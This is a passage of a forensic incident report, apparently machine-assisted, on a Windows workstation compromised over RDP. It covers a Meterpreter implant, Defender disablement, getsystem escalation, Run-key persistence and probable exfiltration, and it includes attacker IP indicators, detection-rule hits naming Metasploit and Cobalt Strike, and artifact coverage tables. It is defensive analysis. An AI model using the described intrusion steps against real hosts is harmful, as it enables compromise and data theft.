- The Zone.Identifier stream was removed (USN StreamChange) at 03:40:49.317. That is the moment the file ran, and it matches the SmartScreen checkappexec TLS connection in the capture. The most likely explanation is that the user clicked through the SmartScreen/security warning; a manual unblock is the less likely alternative. The ADS is absent from $MFT at acquisition.
- The attacker server delivered only two objects to this host: the "/" listing and coreupdater.exe.

Also recorded: timeline event T-023 and IOC I-015 (http://194.61.24.102/). The noise note covers:
- mortysmith's benign Bing image browsing on 2020-09-18 around 23:00, which produced Jessica.jpg and Portal_gun.png (Portal_gun.png was later taken by the attacker).
- Edge backup MOTW files.
- autorunsc entries found in memory that reference a "James" profile, which has no matching $MFT entry and is not attacker activity.
- No e-mail stores exist on the host, so e-mail as the delivery route is ruled out.

Not verified: - No browser history databases were parsed (legacy Edge WebCacheV01.dat / spartan.edb, Chromium Edge, if present), so I could not check full URL history, typed search terms or the download list. Parsing them with ESEDatabaseView, Hindsight or dissect would close this gap.
- The HostUrl/ReferrerUrl of coreupdater.exe can't be recovered: the Zone.Identifier stream was removed and its text is not in the parsed $LogFile output.
- Bing searches are TLS-encrypted, so intent queries (if any) can't be seen in the capture.

Step 11: Defense evasion and anti-forensics

Defense evasion and anti-forensics review.

Log clearing: none found.
- No Security 1102, no System 104 and no 4719.
- EventRecordIDs have no gaps in Security (1–2457), System (1–994), both PowerShell channels and Defender/Operational.
- The six Security 1100 events are normal shutdowns before the 01:24 boot.

Defender:
- The attacker turned Defender off at 03:39:45–49 (5001, and 5007 for SpyNet 2→0, SubmitSamples 1→0, TamperProtection 0x1→0x4), as already reported in F-007.
- It stayed off until acquisition: DisableRealtimeMonitoring=1 is still in the hive, there is no re-enable event and no detection for coreupdater.exe or the PowerShell loader.
- No exclusions were set (registry Exclusions keys and the MPLog lists are empty).
- I added the registry rows to F-007 as corroboration.

Timestomping: none on attacker files.
- The SI<FN and uSecZeros hits are files and folders laid down when the OS image was deployed.
- coreupdater.exe's $SI times match the $J timestamps.

Deletion and wiping:
- No deletions in Prefetch, the event-log folder or the Recycle Bin, and no wiping tools on disk.
- The only attacker deletions are the Edge partial and cache copies of coreupdater.exe and the loot.zip archive (already in F-026).

Clock changes: all 4616 and Kernel-General 1 events come from W32Time or the clock resync when the VM resumed at 03:13.

Memory:
- No hidden processes (psxview), PEB spoofing or unlinked DLLs.
- The injection findings stand (F-015 spoolsv, F-016 PowerShell). I added the RWX thread start in PowerShell PID 3316 to F-016.
- The MsMpEng malfind hit and the non-file-backed thread starts are false positives.

Recorded: F-030 (overall assessment), T-024, and a note listing the false positives.

Not verified: - raw.dissect_defender_exclusions is absent from the case; I checked exclusions through the registry and MPLog instead.
- $UsnJrnl only starts at 2020-09-19 01:31:32, so earlier deletions can't be seen.
- There is no Sysmon and 4688 is only logged at boot, so command-level evasion such as Set-MpPreference or wevtutil can't be fully excluded. The Defender changes do line up with SecHealthUI GUI use.
- How to read the TamperProtection value 0x4 depends on the platform version, so that point is only probable.
- raw.vol_etwpatch is not available, so ETW patching was not checked.

Step 12: Collection, exfiltration and communications

Collection and exfiltration review:
- Confirmed staging: Explorer zip "My Social Security Number.zip" was created at 03:46:15, renamed loot.zip at 03:46:18, opened (ObjectId change + loot.lnk) and deleted at 03:47:09. The source files are tiny (22, 141 and 7 bytes), so the archive was at most a few hundred bytes.
- No archiver or transfer tools ran (Prefetch) and no other archives were created.
- BITS was used only by OneDrive. OneDrive was never signed in (ODL).
- No HTTP uploads to attacker or non-Microsoft hosts, no DNS tunnelling, no SMB writes, no attacker firewall rules (only 2004/2006 AppX rules) and no removable media.
- Network volumes (SRUM + pcap):
  - coreupdater.exe sent 222 KB + 27 KB.
  - Meterpreter C2 flow 50875 sent 280 KB up; flow 50972 sent 39 KB.
  - The RDP stream sent 6.7 MB from the workstation to the DC, matching SRUM TermService at 7.1 MB.
- F-031 (high/probable): exfiltration of the small archive most likely went over the encrypted Meterpreter C2. The RDP clipboard is an alternative. Neither can be proven at content level.
- Timeline T-025 and a note were recorded. No new network IOCs beyond the existing 194.61.24.102 and 203.78.103.109.

Not verified: - The C2 (TLS/Meterpreter) and RDP payloads are encrypted, so there is no content-level proof of what was sent.
- The OneDrive SyncEngineDatabase.db was not parsed (moot, since the client was never signed in).
- No Sysmon 3/22 or 5156 network telemetry.
- No dissect_sevenzip output.
- The loot.zip size was not recovered: its MFT entry was reused and no $LogFile I30 record exists.

Step 13: Incident timeline and correlation

I rebuilt the incident timeline and checked that the different sources agree on time. Times are UTC; the host is on Pacific time (UTC-7).

Attack sequence
1. **Reconnaissance and brute force (03:19, host-equivalent time):** 194.61.24.102 ran an RDP scan and brute force against the Administrator account on the DC (10.42.85.10).
2. **DC compromised (03:24):** the DC downloaded coreupdater.exe and opened a Meterpreter session.
3. **Initial access to the workstation (03:36:22–24):** RDP logon by C137\Administrator (SID -500) coming from the DC.
4. **Defender disabled (03:39:45–49).**
5. **Payload download:**

  - 03:39:26: Edge goes to http://194.61.24.102/ (new T-026).
  - 03:39:57 → 03:40:00: download and Save-As into Downloads.
  - 03:40:42: file moved to System32.
6. **Execution (03:40:49):** coreupdater.exe runs, its Mark-of-the-Web is removed, and the C2 connection to 203.78.103.109:443 starts.
7. **Interactive commands:** cmd at 03:41:06, then sc.exe and service "coreupdater" at 03:42:42.
8. **Migration into spoolsv.exe (between 03:40:49 and 03:43:10):** coreupdater (PID 8324) exits at 03:43:10. Memory shows an injected PE (MZ, RWX) in spoolsv.exe PID 2188, which holds the C2 socket and a handle to lsass (new T-027).
9. **Privilege escalation (03:43:14):** getsystem service "nehgye".
10. **Fileless persistence (03:44:03):** HKLM Run value "coreupdate" plus payload key HKLM\Software\q9Z1bssi.
11. **Collection and staging (03:45:07–03:51:14):** the attacker browsed user profiles and built the loot.zip archive (03:46:15–03:47:09).
12. **Logoff (03:52:13).**
13. **Persistence fires (05:08:15–05:08:45):** ricksanchez logs on (type 11/7, new T-028), the Run key launches the PowerShell loader (PID 508→3316) and a second C2 session opens.
14. **Responder acquisition from 05:08:58.** The C2 connections were still established when the capture ended at 05:38 (host time).

Time consistency (F-032)
- The host sources agree to the second: EVTX, $MFT, $J, Prefetch, SRUM and memory.
- The only clock jump is a VM pause and resume: the clock went from 01:54:39 to 03:13:20 (Kernel-General 1) and was then adjusted slightly by W32Time. There was no backward change during the attack.
- The pcap timestamps carry a +0200 offset, and the capture clock runs 1 h behind the host. This was confirmed on three pivots, so every pcap time in the timeline table must be read +1 h.
- No timestomping was found.

New IOCs (I-016..I-020)
- the PowerShell loader command line;
- the HKLM\Software\q9Z1bssi key;
- the Edge partial and cache files;
- 10.42.85.10 as an internal pivot host;
- the injected region in spoolsv.exe.

All earlier IOCs are kept (hashes, IPs, URLs, Run value, services, account, archives).

Not verified: - The exact time of the migration into spoolsv.exe is not logged; only the 03:40:49–03:43:10 bounds are known.
- What was done in the C2 sessions (including any exfiltration of loot.zip) cannot be seen because the traffic is encrypted.
- There is no process-creation telemetry (no Sysmon, 4688 only at boot), so the commands run inside Meterpreter are unknown.
- How the DC was compromised can only be inferred from the pcap; no disk or log evidence from the DC is available.

Step 14: Summary, answers and recommendations

The report summary is done.
- **Verdict:** the host is compromised. An attacker at 194.61.24.102 brute-forced the domain controller (CITADEL-DC01, 10.42.85.10), then logged on to the workstation over RDP as C137\Administrator at 03:36:24.
- **Payload:** coreupdater.exe, a Meterpreter implant calling back to 203.78.103.109:443.
- **Attacker actions:**
  - Defender turned off.
  - Implant moved into spoolsv.exe, then getsystem.
  - Two persistence mechanisms: the Run key "coreupdate" (fileless, fired at 05:08 in ricksanchez's Domain Admin context) and the service "coreupdater".

- mortysmith's sensitive files collected, zipped as loot.zip and deleted.
- **Exfiltration:** probable, most likely through the C2 channel.

The executive summary, technical summary and limitations are recorded. Recommendations are recorded in all five categories: immediate, remediation, hardening, detection and further investigation. The guidance file had no questions, so no answer_question entries were made.

Not verified: - No Sysmon or full 4688 data, so the full command lines are unknown.
- Browser databases were not parsed.
- The memory step stopped early because it hit the tool-call limit.
- Because the C2 traffic is encrypted, data theft and credential theft cannot be proven at content level.
- The DC was not collected.

Appendix B: Automatic detections

Engine	Level	Count
Chainsaw	informational	85
Chainsaw	medium	20
Chainsaw	critical	4
Chainsaw	high	2
Hayabusa	informational	1098
Hayabusa	low	252
Hayabusa	medium	22
Hayabusa	high	9
Suricata	low	450
Suricata	high	7
Suricata	medium	4
Zircolite	low	211
Zircolite	informational	42
Zircolite	medium	10
Zircolite	high	2

Critical and high detections (to compare with the findings; a detection is not a finding until it has been qualified):

UTC	Engine	Level	Rule	Host	Channel	EventID	RecordID	Reference
2020-09-18 05:44:14.849000	Hayabusa	high	Suspicious Service Path	WIN-2IH1TBB9I4Q	Sys	7045	114	hayabusa/hayabusa_0.jsonl#1319
2020-09-18 05:46:40.050000	Hayabusa	high	User Added To Local Admin Grp	DESKTOP-SDN1RPT	Sec	4732	180	hayabusa/hayabusa_0.jsonl#791
2020-09-18 05:49:08.012000	Hayabusa	high	User Added To Local Admin Grp	DESKTOP-SDN1RPT	Sec	4732	371	hayabusa/hayabusa_0.jsonl#792
2020-09-18 21:42:16.235000	Hayabusa	high	User Added To Local Admin Grp	DESKTOP-SDN1RPT	Sec	4732	980	hayabusa/hayabusa_0.jsonl#793
2020-09-19 02:24:06.940653	Suricata	high	ET INFO PE EXE or DLL Windows file download HTTP	10.42.85.10	http	2018959	1780506546707033	suricata/case001.pcap/eve_alert.jsonl#317
2020-09-19 02:25:19.071794	Suricata	high	ET MALWARE Possible Metasploit Payload Common Construct Bind_API (from server)	10.42.85.10	failed	2025644	1866613104919638	suricata/case001.pcap/eve_alert.jsonl#72
2020-09-19 02:29:49.580408	Suricata	high	ET MALWARE Possible Metasploit Payload Common Construct Bind_API (from server)	10.42.85.10	failed	2025644	1528333181178310	suricata/case001.pcap/eve_alert.jsonl#89
2020-09-19 02:39:58.412735	Suricata	high	ET INFO PE EXE or DLL Windows file download HTTP	10.42.85.115	http	2018959	1761862551911401	suricata/case001.pcap/eve_alert.jsonl#443
2020-09-19 02:40:50.282950	Suricata	high	ET MALWARE Possible Metasploit Payload Common Construct Bind_API (from server)	10.42.85.115	failed	2025644	3621762886047783	suricata/case001.pcap/eve_alert.jsonl#446
2020-09-19 02:56:38.758942	Suricata	high	ET MALWARE Possible Metasploit Payload Common Construct Bind_API (from server)	10.42.85.10	failed	2025644	1730301102209281	suricata/case001.pcap/eve_alert.jsonl#452
2020-09-19 03:36:23.009739	Chainsaw	critical	User Authentication Succeeded	DESKTOP-SDN1RPT.C137.local	Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational	1149	39	chainsaw/chainsaw_0.jsonl#42
2020-09-19 03:36:24.432948	Chainsaw	critical	RDP logon	DESKTOP-SDN1RPT.C137.local	Security	4624	2125	chainsaw/chainsaw_0.jsonl#92

UTC	Engine	Level	Rule	Host	Channel	EventID	RecordID	Reference
2020-09-19 03:39:45.247000	Hayabusa	high	Windows Defender Threat Detection Disabled	DESKTOP-SDN1RPT.C137.local	Defender	5001	36	hayabusa/ hayabusa_0.jsonl#781
2020-09-19 03:39:45.247000	Hayabusa	high	Windows Defender Real-time Protection Disabled	DESKTOP-SDN1RPT.C137.local	Defender	5001	36	hayabusa/ hayabusa_0.jsonl#782
2020-09-19 03:39:45.247925	Chainsaw	high	Windows Defender Real-time Protection Disabled	DESKTOP-SDN1RPT.C137.local	Microsoft-Windows-Windows Defender/Operational	5001	36	chainsaw/ chainsaw_0.jsonl#69
2020-09-19 03:39:45.247925	Zircolite	high	Windows Defender Real-time Protection Disabled	DESKTOP-SDN1RPT.C137.local	Microsoft-Windows-Windows Defender/Operational	5001	36	zircolite/ zircolite_timeline_0.jsonl#215
2020-09-19 03:43:14.990000	Hayabusa	high	Suspicious Service Path	DESKTOP-SDN1RPT.C137.local	Sys	7045	959	hayabusa/ hayabusa_0.jsonl#1320
2020-09-19 03:43:14.990000	Hayabusa	high	Meterpreter or Cobalt Strike Getsystem Service Installation - System	DESKTOP-SDN1RPT.C137.local	Sys	7045	959	hayabusa/ hayabusa_0.jsonl#1342
2020-09-19 03:43:14.990879	Chainsaw	critical	Meterpreter or Cobalt Strike Getsystem Service Installation	DESKTOP-SDN1RPT.C137.local	System	7045	959	chainsaw/ chainsaw_0.jsonl#103
2020-09-19 03:43:14.990879	Chainsaw	high	Meterpreter or Cobalt Strike Getsystem Service Installation - System	DESKTOP-SDN1RPT.C137.local	System	7045	959	chainsaw/ chainsaw_0.jsonl#105
2020-09-19 03:43:14.990879	Zircolite	high	Meterpreter or Cobalt Strike Getsystem Service Installation - System	DESKTOP-SDN1RPT.C137.local	System	7045	959	zircolite/ zircolite_timeline_0.jsonl#217
2020-09-19 03:52:13.992637	Chainsaw	critical	RDP Session Disconnected	DESKTOP-SDN1RPT.C137.local	Microsoft-Windows-TerminalServices-LocalSessionManager/Operational	24	100	chainsaw/ chainsaw_0.jsonl#41
2020-09-19 04:08:45.783080	Suricata	high	ET MALWARE Possible Metasploit Payload Common Construct Bind_API (from server)	10.42.85.115	failed	2025644	1514871998465440	suricata/case001.pcap/ eve_alert.jsonl#455
2020-09-19 05:10:38.974000	Hayabusa	high	Suspicious Service Path	DESKTOP-SDN1RPT.C137.local	Sys	7045	994	hayabusa/ hayabusa_0.jsonl#1321

Appendix C: Working notes (leads ruled out, false positives)

- [step 2] Step 2 false positives / benign alerts: (1) Chainsaw 'Suspicious Paths Service Installation' x11 on 2020-09-18 05:41-05:53 and 05:08:59 = Intel e1i65x64, VMware drivers (vsock, vmusbmouse, vmmouse, vmmemctl, vmrawdsk, vm3dmp*), WUDFRd (USB WPD) – OS/VMware Tools install; (2) 'AccessData Driver' C:\Users\RICKSA~1\AppData\Local\Temp\ad_driver.sys 7045 RecordID 994 at 05:10:38 = FTK Imager acquisition (analyst activity, see F-002); (3) Hayabusa 'Suspicious Service Path' Printer Extensions (svchost -k print) = legit; (4) 'Password Reset By Admin'/'User Added To Local Admin Grp'/'Local User Created' 2020-09-18 05:41-05:49 by SYSTEM (defaultuser0, Admin) = OOBE setup; 4732 at 21:42:16 adding Domain Admins (-512) to Administrators = domain join; (5) 'WMI Persistence' 5859 SCM Event Provider MSFT_SCMEventLogEvent = default Windows consumer; (6) MSIX/AppX installs, Credential Manager, firewall settings, Discord SNI/DNS, Microsoft device metadata UA = normal activity. hash_hits empty (no hashset loaded). No Defender 1116/1117 detection events; Defender quarantine/exclusion tables not present. Detection gap: 7045 of service 'coreupdater' (System32 path) not flagged by any engine.
- [step 3] Step 3 benign/context executions reviewed and excluded: WSCRIPT.EXE 01:08:25 loading C:\Windows\System32\slmgr.vbs (local Admin -1001, Windows activation) with cmd.exe 01:07:56/01:08:19; IPCONFIG.EXE 03:13:21 (via cmd 03:13:21, coincides with network profile change; user not attributable - no 4688); OneDriveSetup/FileSyncConfig per-profile first-logon installs (ShimCache/PCA); MpCmdRun/MsMpEng/AM_Delta Defender updates; NGEN/MSCORSVW 01:34-01:35; VMware tools; TASKKILL 22:52:53 (Defender platform update window); responder tools SnippingTool 05:09:09, msinfo32 05:09:13, FTK Imager 05:09:56 (E:\FTK Imager, SHA1 32756b3a319340c4b7fead410d3f36e503b30da2) under ricksanchez. ShimCache has no entry for coreupdater.exe (cache last flushed at shutdown before 01:24 boot) - expected, not evidence of absence. MUICache contains only system resource strings. Amcache has no other non-Microsoft/unsigned binaries in user-writable paths. vol_cmdscan conhost PID 728 history empty.

- [step 5] PCAP noise qualified (step 5): 'ET USER_AGENTS Microsoft Device Metadata Retrieval Client' and 'ET INFO Windows OS Submitting USB Metadata' (10.42.85.115 → Microsoft IPs, port 80) = normal Windows device metadata. 'ET INFO Observed Discord Domain' at ~22:05 pcap-UTC = user browsing, no further link. 10.90.90.90:443 (354 TLS flows, cert subject CN=CN_DNSBL / dnsbl@example.com self-signed) = DNS-blackhole/ad-block sinkhole of the lab gateway answering blocked ad/telemetry domains — environment, not malicious. SMB from 10.42.85.115 only to CITADEL-DC01 (SYSVOL GPO reads, NETLOGON/IPC$ at RDP logon, \\CITADEL-DC01\FileShare at 04:08 pcap = ricksanchez logon 05:08 host) — no lateral movement from the workstation observed. Capture window: 2020-09-18 21:58:07 → 2020-09-19 05:38:57 pcap-UTC (≈22:58 → 06:38 host-UTC due to the ~1 h pcap offset); host events before ~22:58 host-UTC on 2020-09-18 are not visible on the network.
- [step 6] Step 6 persistence – reviewed and ruled out as benign: Scheduled tasks created in the window are \ CreateExplorerShellUnelevatedTask (03:36:26, Explorer /NOUACCHECK, created at RDP logon), OneDrive Standalone Update Task for SIDs -500/-1106/-1108/-1001, GroupPolicy tasks {A7719E0F...}/{3E0A038B...} (gpupdate /target:user, author DESKTOP-SDN1RPT$), UpdateOrchestrator/Defender/Defrag re-registrations. Memory scheduled_tasks: same, plus COM-handler tasks. No 4698/4702 (Security auditing of task creation not enabled). HKCU Run values are only OneDrive; HKCU RunOnce of Administrator = OneDrive "Delete Cached Update Binary" (03:37:34, legitimate). Winlogon: no Shell/Userinit anomaly in parsed outputs. AppInit_DLLs empty (dissect_appinit path '.'). Active Setup StubPaths are Microsoft (unregmp2, ie4uinit, mscories). Print Monitors are the Microsoft defaults (AppMon, localspl, FXSMON, tcpmon, usbmon, APMon), Print Processor winprint.dll. BootExecute = autocheck autochk *, SetupExecute empty. WMI 5861 = only the built-in "SCM Event Log Filter" → NTEventLogEventConsumer. hosts file unchanged (LastModified 2019-12-07). Startup folders: no entries in $MFT. Services written after boot: ad_driver (FTK Imager, 05:10:38), USBSTOR/WUDFWpdFs/WpdUpFltr (responder USB 05:08:58), IndirectKmd/terminpt/WUDFRd (RDP session 03:36:23), BITS start-type toggles 7040 (Windows Update), per-user *_b3e3d7 services (logon 05:08:15). Not available in this DB: dissect_tasks, dissect_clsid_user, dissect_cim_consumerbindings, native_startup, native_hosts, dissect_msoffice_startup tables (COM hijack and WMI repository not directly verifiable). PendingFileRenameOperations not in parsed outputs.
- [step 9] Step 9 noise and leads ruled out:
  - Large $J bursts at 03:36:24-03:37:34 are the creation of the new Administrator profile (NTUSER.DAT, known folders), tsprint RDP printer redirection, and the per-user OneDrive install/cleanup (PathUnknown dir 0x5FC6). This is standard first-logon activity.
  - MicrosoftEdgeBackups at 03:39:18 is Edge's first-run backup.
  - The $Extend\$Deleted entries at 03:52:12-03:52:14 are POSIX deletes of open files at profile unload (logoff).
  - TypedURLs only holds the default go.microsoft.com value.
  - WordWheelQuery and EMDMgmt are absent. TypedPaths has a LastWrite of 03:45:08 but no parsed values.
  - Windows Timeline clipboard payloads are empty (cloud clipboard not enabled).
  - Memory cmdscan/consoles are empty for conhost PID 728.
  - The mortysmith activity on 2020-09-18 22:46-23:09 is legitimate: files created, Edge browsing of reddit/wikipedia/fandom, Portal_gun.png and Jessica.jpg saved. This is the pre-incident baseline that created the files later collected.
  - The tables dissect_thumbcache, dissect_windowsnotepad_tabs, recyclebin and dissect_mru_* are not present in this database. Thumbcache and Notepad tabs could not be checked (Windows 10 19041 has no tabbed Notepad anyway).
- [step 10] Step 10 (web/e-mail) coverage & leads ruled out: no browser-history parser output exists in the DB (no chromium_*/firefox_*/hindsight/dissect_browser_*/iexplore tables; legacy Edge WebCache/spartan.edb not parsed) — browsing reconstructed from Windows Timeline, SIDR activity, Suricata HTTP/TLS, $UsnJrnl and OpenSave MRU. TypedURLs only contain the default go.microsoft.com fwlink. No search-engine queries revealing intent were recoverable (Bing traffic is TLS). mortysmith Edge browsing 2020-09-18 ~23:00-23:07 UTC (Bing images Rick&Morty 'Jessica', cnn.com) produced Pictures\Jessica.jpg and Documents\Portal_gun.png (Zone.Identifier ZoneId=3, no HostUrl) — benign user activity; Portal_gun.png was later collected by the attacker (F-013/F-026). Edge backup files with ZoneId=3 in MicrosoftEdgeBackups are normal Edge behaviour. vol_ads entries for

autorunsc.exe/autorunsc64.exe with ReferrerUrl C:\Users\James\Downloads\SysinternalsSuite.zip are MFT records found in memory with no matching $MFT entry on the C: volume (no 'James' profile) — most likely responder tooling/foreign volume residue, not attacker activity. No e-mail client stores (.pst/.ost/.eml/.msg, Outlook, Mail app) on disk: e-mail vector excluded with available data.

- [step 11] Step 11 false positives / ruled out: (1) raw.mft SI<FN hits = OS image deployment (FN created 2020-09-18 06:35–06:38) on directories and System32 DLLs, and uSecZeros on Search ConstraintIndex / wct*.tmp files with vendor timestamps – not timestomping. (2) $J FileDelete bursts 03:16 (appx/Store package cleanup at Admin logoff), 03:37 (OneDrive per-user setup for Administrator), 03:52 (Edge/Search cache at RDP logoff), 05:09 (python App Execution Alias for ricksanchez) – benign. (3) EventID 1102/104/1100 in non-Security/System channels are unrelated provider IDs. (4) 4616/Kernel-General 1 = W32Time (svchost, 0x3E5) and VM resume hardware clock sync 03:13:20 (gap 01:54:39→03:13:20). (5) vol_malfind MsMpEng.exe PID 2404 RWX region without MZ = Defender FP; vol_suspicious_threads non-file-backed starts in Edge, SearchApp, svchost, WmiPrvSE, OneDrive, explorer, msdtc = common FP (JIT/paged images). raw.dissect_defender_exclusions not present; exclusions checked via registry and MPLog (empty).
- [step 12] Step 12 ruled out/benign: BITS jobs = OneDrive UpdateBinary/PreSignInSettingsConfigJSON only (oneclient.sfx.ms, g.live.com); OneDrive never signed in (ODL UX.RequiredSignIn), OneDrive SyncEngineDatabase.db not parsed (limitation, but no sign-in so no sync); large outbound TLS = Microsoft (bing, displaycatalog, oneclient.sfx.ms 39 MB download, v10.events.data.microsoft.com 180 KB telemetry at 01:44 host, browser.events.data.msn.com); DoSvc 13.6 MB sent = Delivery Optimization (pre-incident 22:56-01:54); Firewall 2004/2006 = per-user AppX/Cortana/Skype rules at profile creation; no 5156/Sysmon network telemetry; no long DNS queries; no SMB writes; no archiver/transfer tool prefetch. No dissect_sevenzip table present.

Appendix E: Artifact coverage

Artifact	Tool	Mapping	Events	First (UTC)	Last (UTC)
$MFT	MFTECmd	validated	438646	2001-01-01 00:00:00	2020-09-19 05:18:58.950874
Memory: MFT records in memory	Volatility 3	validated	175764	2013-02-04 23:20:16	2020-09-19 05:11:17
Network flows (Suricata)	Suricata	validated	65044	2020-09-18 21:58:07.470329	2020-09-19 05:38:57.828520
$UsnJrnl:$J	MFTECmd	validated	43463	2020-09-19 01:31:32.608700	2020-09-19 05:17:47.706373
Event logs (EVTX)	EvtxECmd	validated	40917	2020-09-18 04:58:02.306798	2020-09-19 05:18:43.987744
TLS (Suricata)	Suricata	validated	30453	2020-09-18 21:58:07.470323	2020-09-19 05:38:39.310228
OneDrive (ODL logs)	odl.py	validated	13574	2020-09-18 04:58:29.242000	2020-09-19 05:16:50.303000
Registry (RECmd Kroll)	RECmd	validated	8634	2019-12-07 09:15:07.502653	2020-09-19 05:16:55.660092
Windows Search (indexed files)	SIDR	validated	5140	2019-12-06 17:04:00	2020-09-19 05:09:29.386591
Windows Search (Dissect)	Dissect	validated	5130	2019-12-06 17:04:00	2020-09-19 03:37:05.411514
$LogFile (reconstructed USN)	LogFileParser	validated	4291	2020-09-19 03:51:36.569464	2020-09-19 05:19:28.114044
DNS (Suricata)	Suricata	validated	2650	2020-09-18 21:58:49.238799	2020-09-19 05:38:39.007813
SRUM (application timeline)	SrumECmd	validated	2415	2020-09-18 05:41:41	2020-09-19 05:14:00
Memory: loaded DLLs	Volatility 3	validated	1408	2020-09-19 01:24:08	2020-09-19 05:10:23
Network events (Suricata)	Suricata	validated	1233	2020-09-18 21:58:07.470323	2020-09-19 05:37:22.585366
Registry: services	RECmd	validated	901	2019-12-07 09:14:17.565307	2020-09-19 05:10:38.974406
SRUM (application resources)	SrumECmd	validated	766	2020-09-18 05:46:00	2020-09-19 05:14:00
Amcache (drivers)	AmcacheParser	validated	746	2019-12-07 09:07:47	2020-09-19 01:31:37.056365
MUICache	Dissect	validated	661	2020-09-19 03:46:16.317225	2020-09-19 03:46:16.317225
Prefetch	PECmd	validated	636	2020-09-18 04:58:03.236161	2020-09-19 05:18:45.487572
Services (Dissect)	Dissect	validated	625	2019-12-07 09:14:17.565306	2020-09-19 03:42:42.676537

Artifact	Tool	Mapping	Events	First (UTC)	Last (UTC)
Registry: Store applications	RECmd	validated	451	2020-09-18 05:49:43.471452	2020-09-19 05:09:24.870630
Registry: TaskCache	RECmd	validated	304	2020-09-04 05:41:39.880824	2020-09-19 05:13:16.726130
Files transferred (Suricata)	Suricata	validated	241	2020-09-18 21:58:07.470323	2020-09-19 05:25:21.431188
HTTP (Suricata)	Suricata	validated	229	2020-09-18 22:00:11.462431	2020-09-19 05:23:57.308493
Amcache (devices)	AmcacheParser	validated	217	2020-09-19 01:31:22.074269	2020-09-19 03:36:34.051244
SRUM (network usage per application)	SrumECmd	validated	217	2020-09-18 05:44:00	2020-09-19 05:14:00
SRUM (vfuprov)	SrumECmd	validated	210	2020-09-18 04:58:43	2020-09-19 05:14:00
Windows Timeline (ActivitiesCache)	WxTCmd	validated	201	2020-09-18 04:58:03	2020-09-19 05:18:11
Jump Lists (automatic)	JLECmd	validated	197	2019-12-07 09:03:44.539499	2020-09-19 05:13:21.850746
ShimCache (AppCompatCache)	AppCompatCacheParser	validated	183	2019-12-06 17:05:00	2020-09-18 22:52:47
Memory: process scan (psscan)	Volatility 3	validated	178	2020-09-19 01:24:04	2020-09-19 05:10:21
Defender (MPLog)	Dissect	validated	168	2020-09-18 04:58:29.531000	2020-09-19 03:16:12.983000
ShellBags	SBECmd	validated	143	2019-12-07 09:03:46	2020-09-19 05:13:13
Memory: process list (pslist)	Volatility 3	validated	99	2020-09-19 01:24:04	2020-09-19 05:10:51
Amcache (files)	AmcacheParser	validated	98	2020-09-18 04:58:06.065288	2020-09-19 05:09:56.191578
Memory: logon sessions	Volatility 3	validated	93	2020-09-19 01:24:04	2020-09-19 05:10:09
Amcache (programs)	AmcacheParser	validated	92	2020-09-17 00:00:00	2020-09-19 01:32:13.933886
Memory: network connections (netscan)	Volatility 3	validated	90	2020-09-19 01:24:08	2020-09-19 05:09:15
LNK files	LECmd	validated	77	2019-12-07 09:08:13	2020-09-19 05:13:21
Registry: BAM/DAM	RECmd	validated	66	2020-09-18 04:58:32.703156	2020-09-19 05:11:09.256094
Windows Search (activity history)	SIDR	validated	62	2020-09-18 22:47:38	2020-09-19 03:47:48
BAM (Dissect)	Dissect	validated	62	2020-09-18 04:58:32.703156	2020-09-19 03:52:13.740637
Memory: network connections (netstat)	Volatility 3	validated	61	2020-09-19 01:24:08	2020-09-19 03:13:28
Registry: UserAssist	RECmd	validated	60	2020-09-18 05:48:07.597314	2020-09-19 05:09:54.058000
Registry (RECmd, complementary batch)	RECmd	validated	49	2019-12-07 09:15:08.096469	2020-09-19 05:09:56.145644
setupapi.dev.log	plaso	validated	48	2020-09-18 05:48:46.736000	2020-09-19 05:09:00.019000
Registry: Uninstall	RECmd	validated	37	2019-12-07 09:17:27.195439	2020-09-19 03:37:34.317074
Amcache (shortcuts)	AmcacheParser	validated	35	2020-09-19 01:32:13.965081	2020-09-19 01:32:14.011950
Registry: RecentDocs	RECmd	validated	31	2020-09-18 05:56:32.861839	2020-09-19 05:13:21.865279
Registry: App Paths	RECmd	validated	22	2019-12-07 09:15:13.221620	2020-09-19 01:31:06.467991
SRUM (network connections)	SrumECmd	validated	20	2020-09-18 05:41:41	2020-09-19 05:14:00
Installed applications	Dissect	validated	19	2019-12-07 09:17:28.039145	2020-09-18 05:53:41.438347
Network anomalies (Suricata)	Suricata	validated	18	2020-09-18 22:01:00.976791	2020-09-19 05:23:49.804096
Defender (MpCmdRun.log)	Dissect	validated	14	2020-09-18 05:41:59	2020-09-19 01:34:24
Registry: USB	RECmd	validated	14	2020-09-18 05:41:06.824263	2020-09-19 05:08:58.375203
Jump Lists (custom)	JLECmd	validated	14	2019-12-06 17:05:00	2020-09-19 05:08:37.968819
Registry: DeviceClasses	RECmd	validated	12	2020-09-18 05:41:07.061823	2020-09-19 05:08:59.986136
SRUM (push notifications)	SrumECmd	validated	11	2020-09-18 21:42:00	2020-09-19 05:10:00
Registry: ProfileList	RECmd	validated	10	2019-12-07 09:17:27.256509	2020-09-19 05:08:15.642118
Memory: unloaded kernel modules	Volatility 3	validated	10	2020-09-19 01:24:07	2020-09-19 05:08:58
Memory: scheduled tasks (registry)	Volatility 3	validated	8	2020-09-18 05:41:37	2020-09-19 03:36:26
Registry: accounts (SAM)	RECmd	validated	8	2020-09-18 05:41:16.898912	2020-09-19 03:15:57.139759
Memory: ShimCache	Volatility 3	validated	7	2018-04-02 18:27:36	2020-09-19 01:30:02
Registry: OpenSavePidlMRU	RECmd	validated	5	2020-09-18 23:01:11.334384	2020-09-19 03:40:00.691657
Registry: Products (MSI)	RECmd	validated	5	2020-09-18 05:52:30.790997	2020-09-18 05:53:41.438347
Registry: known networks	RECmd	validated	4	2020-09-18 04:58:02.487000	2020-09-19 03:13:21.206000
Network history	Dissect	validated	4	2020-09-18	2020-09-19

Artifact	Tool	Mapping	Events	First (UTC)	Last (UTC)
				04:58:02.000487	03:13:21.000206
Run keys	Dissect	validated	4	2020-09-19 03:44:03.540241	2020-09-19 03:44:03.540241
Registry: SCSI	RECmd	validated	4	2020-09-18 05:41:06.685887	2020-09-19 01:24:07.157810
Registry: JumplistData	RECmd	validated	3	2020-09-18 23:02:27.423989	2020-09-19 03:47:39.879534
Registry: LastVisitedPidlMRU	RECmd	validated	2	2020-09-18 23:07:44.037829	2020-09-19 03:40:00.691657
AppInit_DLLs (Dissect)	Dissect	validated	2	2019-12-07 09:17:27.101669	2020-09-18 05:41:14.833965
Registry: VolumeInfoCache	RECmd	validated	2	2020-09-18 05:47:08.858151	2020-09-19 05:08:58.625064
Registry: CIDSizeMRU	RECmd	validated	2	2020-09-18 23:07:44.075672	2020-09-19 03:40:00.707429
